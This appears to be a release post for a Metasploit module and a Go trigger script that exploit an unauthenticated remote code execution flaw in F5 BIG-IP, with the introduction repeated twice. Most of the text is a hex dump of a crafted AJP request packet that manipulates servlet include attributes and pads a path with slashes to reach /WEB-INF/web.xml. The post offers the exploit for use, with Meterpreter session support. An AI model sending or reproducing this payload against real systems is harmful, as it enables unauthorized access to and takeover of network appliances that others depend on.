metasploit module for F5 BIG-IP unauthenticated remote code execution. use with caution supports meterpreter session, exec ... this comes with the analyze of the vulnerability which is very interesting.
as per requests I recieved, I put this online but limited copies.
I uploading golang script too which can trigger the vulnerability but will not print out the result (dummy script for testing I used) compile using : go build bigip.go
metasploit module for F5 BIG-IP unauthenticated remote code execution. use with caution supports meterpreter session, exec ... this comes with the analyze of the vulnerability which is very interesting.
as per requests I recieved, I put this online but limited copies.
I uploading golang script too which can trigger the vulnerability but will not print out the result (dummy script for testing I used) compile using : go build bigip.go
bigip url command bigip url list command
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000 ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161 .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73 ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72 ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61 //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010 ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c /WEB-INF/web.xml
00000200: 00ff